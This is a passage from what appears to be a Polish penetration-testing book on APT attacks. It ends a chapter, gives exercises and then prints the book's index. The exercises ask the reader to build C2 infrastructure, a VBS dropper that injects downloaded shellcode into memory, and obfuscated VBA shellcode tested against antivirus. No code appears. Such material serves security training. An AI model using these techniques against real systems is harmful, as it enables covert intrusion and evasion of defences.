Dwuetapowe uwierzytelnianie podnosi poprzeczkę, ale nie na tyle, aby nie dało się jej przeskoczyć.Bez względu na rodzaj drugiej metody uwierzytelniania (może to być na przykład karta kodów alboprzesyłanie hasła w SMS-ie) rezultat jest taki sam jak w przypadku zastosowania uwierzytelnianiajednoskładnikowego: zostaje utworzona bezstanowa sesja HTTP, którą można przejąć poprzezprzechwycenie ciasteczek albo stosując atak typu człowiek pośrodku. Koniecznie trzeba mieć się nabaczności.
Opisane do tej pory przypadki są zmyślone i proste, ponieważ chciałem na ich przykładzie jaknajbardziej obrazowo przedstawić podstawowe pojęcia i koncepcje. W kolejnych rozdziałach będziecoraz trudniej, ponieważ przechodzę w nich do bardziej zaawansowanych metod ataku. Od tej po-ry na pierwszym miejscu bezkompromisowo będziemy stawiać dyskrecję — to jest najważniejszywarunek przeprowadzenia udanego ataku APT.
W następnym rozdziale pokażę Ci, jak rozbudować infrastrukturę C2, aby spełniała bardziej re-alistyczne funkcje, oraz przyjrzymy się sposobom wykorzystania apletów Javy do dyskretnego wy-syłania ładunków kodu na komputer ofiary.
ĆwiczeniaW tym rozdziale opisałem wiele technologii, których możesz nie znać. Dlatego zalecam bardzouważne wykonanie poniższych ćwiczeń, tak aby nabyć pewności siebie w posługiwaniu się opisa-nymi narzędziami, choć nie jest to absolutnie niezbędne, aby przejść do następnego rozdziału.
1. Zaimplementuj opisaną w tym rozdziale infrastrukturę C2 przy użyciu biblioteki libsshi języka programowania C. Ewentualnie użyj jakiejkolwiek innej biblioteki i dowolnegojęzyka, które znasz.
Poleć książkęKup książkę
54 Rozdział 1 (Nie)bezpieczna dokumentacja medyczna
2. Zaimplementuj w języku VBS dropper C2 pobierający ładunek w postaci shellcode’uzamiast pliku .exe i wstrzykujący go bezpośrednio do pamięci. Użyj wywołań API z pierwszegoskryptu VBA.
3. Zakładając, że nie ma innego sposobu niż przesłanie ładunku jako shellcode’u w skrypcieVBA, jak go zaciemnisz, wprowadzisz do pamięci po jednym bajcie, a następnie wykonasz?Za pomocą serwisu VirusTotal i innych narzędzi sprawdź, jak programy antywirusowereagują na Twoje rozwiązania.
Poleć książkęKup książkę
245
Skorowidz
A
Abene Mark25Active Directory, 76, 115
analiza danych, 77Adobe AIR, 219Adobe InDesign, 220
pakiet, 222wtyczka, 220, 221, 222
adres IP, 85KRLD, 233, 241
advanced persistent threat, Patrz: atak APTalgorytm
Base64, 42, 137Fast Fourier Transform, 237haszujący, 129shikata-ga-nai, 35
AlienVault, 90, 103analiza ruchu, 88
oparta na sygnaturach, 87Android, 240, 242aplet, 60, 81
certyfikat, 58, 59aplikacja
AIR, 219Android, 242HTML, 156iOS, 242JWS, 219
VoIP, 243App Store, 242APT, Patrz: atak APT, C2archiwum .jar, Patrz: plik .jaratak
APT, 22, 23, 30, 39, 45, 83, 131, 140, Patrz też: C2brute force, 90człowiek w przeglądarce, 24DoS, 235korelacyjny, 132na pliki określonego rodzaju, 127, 129Pass the Hash, 115przy użyciu telefonu, 187ransomware, Patrz: ransomwareskrót zamiast hasła, 118, 120spear phishing, 92waterhole, 243wektor, 126z użyciem pamięci USB, 194, 195, 197
B
backdoor, 24sprzętowy, Patrz: skrzynka creepera
bibliotekaDLL porywanie, 159, 167, 168, 169libgcrypt, 128libssh, 46, 47, 61
bitcoin, 126, 129
Poleć książkęKup książkę
246 Skorowidz
bootloader, 197, 232Bowes Ron, 86broń, 123, 124, 156
kopiowanie, 125browser pivoting, 49
C
C2, 22, 45, 71, 84, 131, 212agent, 212
nadrzędny, 214, 215, 216, 217podporządkowany, 214, 216zarządzanie półautonomiczne, 215zarządzanie przez serwer C2, 213, 214
implementacja, 73ładunek, 46, 48serwer, 46, 48, 132wersja, 58, 61, 62
Linux, 67, 68macOS, 70Windows, 66
centrum bezpieczeństwa, Patrz: SOCcertyfikat, 58, 59chmura, 146ciasteczko, 150, 205creeper box, Patrz: skrzynka creeperaCult of the Dead Cow, 29
D
daneDNS, 86, 87eksfiltracja, 23, 191, 197, 198, 205
autonomiczna, 196LDAP, 205
deszyfrowanie, 127, 128DNS
dane, Patrz: dane DNSdetekcja anomalii, 87tunelowanie, Patrz: tunelowanie DNS
Dropbox, 197drukarka sieciowa, 91dysku szyfrowanie, 101, 121, 172, 175
E
e-mail, 198fałszywy, 65, 75Gmail, Patrz: Gmailhasła przechwytywanie, 149PayPal, 200transakcyjny, 75, 200wykradanie, 149
emulator klawiatury, 197exploit, 101, 104, 126
automatycznej instalacji systemu operacyjnego,159, 163
CVE-2015-5122, 106do łamania hasła, 78lokalny, 101, 107, 159, 160, 163
F
fakt rozmyty, 208Flash, 101, 103, 126, 244
wersja, 106FTP, 136funkcja
DAC, 229, 230derywacji kluczy, 129gcry_pk_decrypt, 128gcry_pk_encrypt, 128gcry_pk_genkey, 128
G
Gmail, 146, 151Google Play, 242
H
haker, 25Hard Disk Firewall, 100, 112harmonogram zadań, 159, 164, 165hasło
odzyskiwanie, 118przechwytywanie, 149, 150, 160
Poleć książkęKup książkę
Skorowidz 247
skrót, 78, 79, 114, 115, 118bez soli, 118
szyfrowanie, 149haszowanie, 128, 129HIDS, 88HTA, 203HTML5, 220, 243
IIDS, 88, 110
hostowy, Patrz: NIDSpoziom zagrożenia, 91sieciowy, Patrz: NIDS
InDesign, Patrz: Adobe InDesignIndicator of Compromise, Patrz: IoCinformacja źródła ogólnodostępne, Patrz: OSINTinfrastruktura dowodzenia i kontroli, Patrz: C2instalator
Inno, 94InstallShield, 94
interfejsAPI, 242Metasploita, 110użytkownika, 74
intranet, 241intrusion detection system, Patrz: IDSinżynieria
społeczna, 22, 44, 57, 92, 105, 195, 207, 223, 243czytanie na zimno, 208pochlebstwa, 210, 211przypisywanie zdolności paranormalnych, 209rozmyty fakt, 208tęczowy podstęp, 210twierdzenie Barnuma, 212twierdzenie Jakuba, 211
wsteczna, 125IoC, 24
JJava, 57, 60, 103
aplet, Patrz: apletmagazyn kluczy, 66
Java Web Start, Patrz: aplikacja JWS
JavaScript, 104, 106język
Java, Patrz: JavaJavaScript, Patrz: JavaScriptPowerShell, 135Python, 74skryptowy, 40, 135TCL, 91VBA, Patrz: VBAVBS, 40
John the Ripper, 115
K
kamer, 243Kaminsky Dan, 86Kane, 29karta sieciowa, 198, 240key logger, 49, 150, 189, 196klawiatura emulator, 197klucz, 127
derywacja, 129deszyfrujący, 126generowanie zdalne, 127prywatny, 127, 128publicznego, 128publiczny, 127, 128, 129
skrót, 133skrót SHA, 127
kodDLL wstrzyknięcie, 49, 51podpisywanie, 58, 59samodzielny, 196, 203uwierzytelniania wiadomości, Patrz: MACzaciemnianie, 42, 137, 142
kontrola konta użytkownika, Patrz: UACkradzież tożsamości, 33kryptografia, 127, 128, Patrz też: szyfrowanie
asymetryczna, 127, 128klucz, 127, 128
prywatny, Patrz: kryptografia symetrycznapubliczny, Patrz: kryptografia asymetryczna
symetryczna, 128krzywa eliptyczna, 129
Poleć książkęKup książkę
248 Skorowidz
L
Lell Jakob, 197LinkedIn, 105lista zakupów, 120, 128, 205luka bezpieczeństwa, 101, 104
Windows, 161, 163
Ł
ładunek, 41C2, Patrz: C2 ładunek
łatka, 161
M
MAC, 129makro VBA, 33, 34, 57, 81, 135, 146
automatyczne otwieranie, 40, 43Manning Bradley, 192Metasploit, 34, 101, 106, 108, 140
działanie, 113keylogger, 150moduł nasłuchujący, 108możliwości, 112wywołanie zwrotne, 23
Microsoft Exchange, 149Microsoft Outlook, 149, 198mikrofon, 243MitnickKevin, 25mostek, 134
pasywny, 171, 184Mudge Raphael, 110
N
napastnik, 25narzędzie
BITSadmin, 137Cron, 69dnscat, 86dnscat2, 86, 97do przekazywania skrótów, 24HashCat, 78
jarsigner, 66Masscan, 233msfvenom, 34, 39multimedialne, 207OTX, 91pkcs12import, 66PowerView, 76, 79, 115pvkimprt, 66Veil, 76Veil Evasion, 140, 142wiersza poleceń, 62, 79, 137
NIDS, 88NIPRNet, 201, 202Nohl Karsten, 197
O
ochrona domen e-mail, 65onion router, Patrz: TorOpen Source Intelligence, Patrz: OSINTOpen Threat Exchange, 131operations security center, Patrz: SOCOSINT, 126, 145OzymanDNS, 86
P
pakietdnscat2/SSH, 93ICMP, 85
pamięć USB, 194, 197PayPal, 127Pharmattix, 30, 32phishing, 33, 198Pietraszek Tadek, 86pivoting, 111plik
.class, 60, 61
.docm, 135, 147
.hta, 156, 157
.jar, 60, 61, 65, 219
.jnlp, 219
.msi, 159, 171
Poleć książkęKup książkę
Skorowidz 249
.ost, 149
.pst, 149CAD, 123, 125, 143CNC, 125, 143czyszczenie kryptograficzne, 129danych gier, 129DLL, Patrz: biblioteka DLLdnscat.c, 94hostname, 133nadpisanie, 128, 129PFX, 66PFX/P12, 66private_key, 133PVK, 66SPC, 66sysprep.inf, 164sysprep.xml, 164torrc, 132, 134unattended.xml, 164VMDK, 232XML, 219
podmiot zewnętrzny, 25podstęp tęczowy, 210polecenie
dig, 85, 86ping, 84su, 229
portTCP 9050, 134Poulsen Kevin, 25program
anywirusowy, 37, 38Microsoft Endpoint Protection, 38Qihoo-360, 43
rozruchowy infekowanie, 197protokół SSH, 23, 78, 91proxy SOCKS, 108przeglądarka, 101
Chrome, 150Internet Explorer, 156wtyczka, 101, 104
punkt dostępowy, 198, 199
R
ransomware, 101, 126, 128, 131Raspberry Pi, 172
komunikacja z C2, 180mostek, 184system operacyjny, 174zmiana adresu IP, 179
rejestru przeszukiwanie, 159, 170rejestrator
naciskanych klawiszy, Patrz: key loggerRolston Jake, 171rootkit, 70router
cebulowy, 131Cisco, 91, 239
nieudana próba logowania, 88rozpoznanie poziome, 22
S
Schneier Bruce, 33Security Incident Event Management, Patrz: SIEMSelenium, 57SELinux, 229, 230
wyłączanie, 232serwer
C2, Patrz: C2 serwerproxy, 51, 52, 84, 108sieciowy anonimowy, 132SSH, 46tinyhttpd, 74
serwisskanowania wirusów, 35VirusTotal, 35, 37, 94
shellcode, 34, 35, 38, 39, 109szyfrowanie, 109
sieć komórkowa, 199, 203KRLD, 236
SIEM, 89, 91SIPRNet, 191, 201, 202skaner antywirusowy, Patrz: program antywirusowy
Poleć książkęKup książkę
250 Skorowidz
skryptFTP, 136SMTP, 75VBScript, 156, 158WSH, 136
skrzynka creepera, 171, 172SMS, 200sniffer, 149SOC, 89, 90, 97Solid Edge, 144SPF, 200stager, 62, 66sterownik 3G/4G, 203system
CNC, 123, 143kontroli zmian, 95, 96, 97operacyjny
Android, Patrz: AndroidRed Star, 226, 230Windows, Patrz: Windows
wykrywania nieautoryzowanego dostępu, Patrz: IDSszpiegostwo gospodarcze, 124szyfr
DSA, 128RSA, 128symetryczny, Patrz: kryptografia symetryczna
szyfrowanie, Patrz: kryptografia
T
Tailored Access Operations, 59telekomunikacja północnokoreańska, 235test
aplikacji sieciowych, 57heurystyczny, 39penetracyjny, 23, 25
Toneloc, 237Tor, 131, 132, 134trojan BO2K, 29tunelowanie
DNS, 86SSH, 97, 108Tor, 134
twierdzenieBarnuma, 212Jakuba, 211
U
UAC, 114uprawnienia
administratora, 111, 114, 119, 159eskalacja, 22, 114, 158, 205
metody, 159, 160, 163, 164, 167, 170Windows, 160, 164, 166, 167, 170
root, 229User Account Control, Patrz: UACusługa
chmurowa, 146DNS, 86podatna na ataki, 159VoIP, 237Windows, 166, 167
uwierzytelnianiedwuetapowe, 33, 49NTLM, 115omijanie, 49
użytkownikhasło, Patrz: hasłokontrola konta, Patrz: UACochrona tożsamości, 131
V
VBA, 33funkcja macierzysta, 40makro, Patrz: makro VBA
Veil Evasion, Patrz: narzędzie Veil Evasion
W
war dialing, 237, 240WarVOX, 238wektor ataku, Patrz: atak wektorWikiLeaks, 192Windows Exploit Suggester, 161, 162
Poleć książkęKup książkę
Skorowidz 251
Windows Scripting Host, 40, Patrz: WSHWireshark, 149WSH, 136, 195wybór lidera, 217wywołanie zwrotne, 23
Z
zapora sieciowa, 78zapytanie DNS rekurencyjne, 86zespół infiltracji sieci NSA/GCHQ, 59
Poleć książkęKup książkę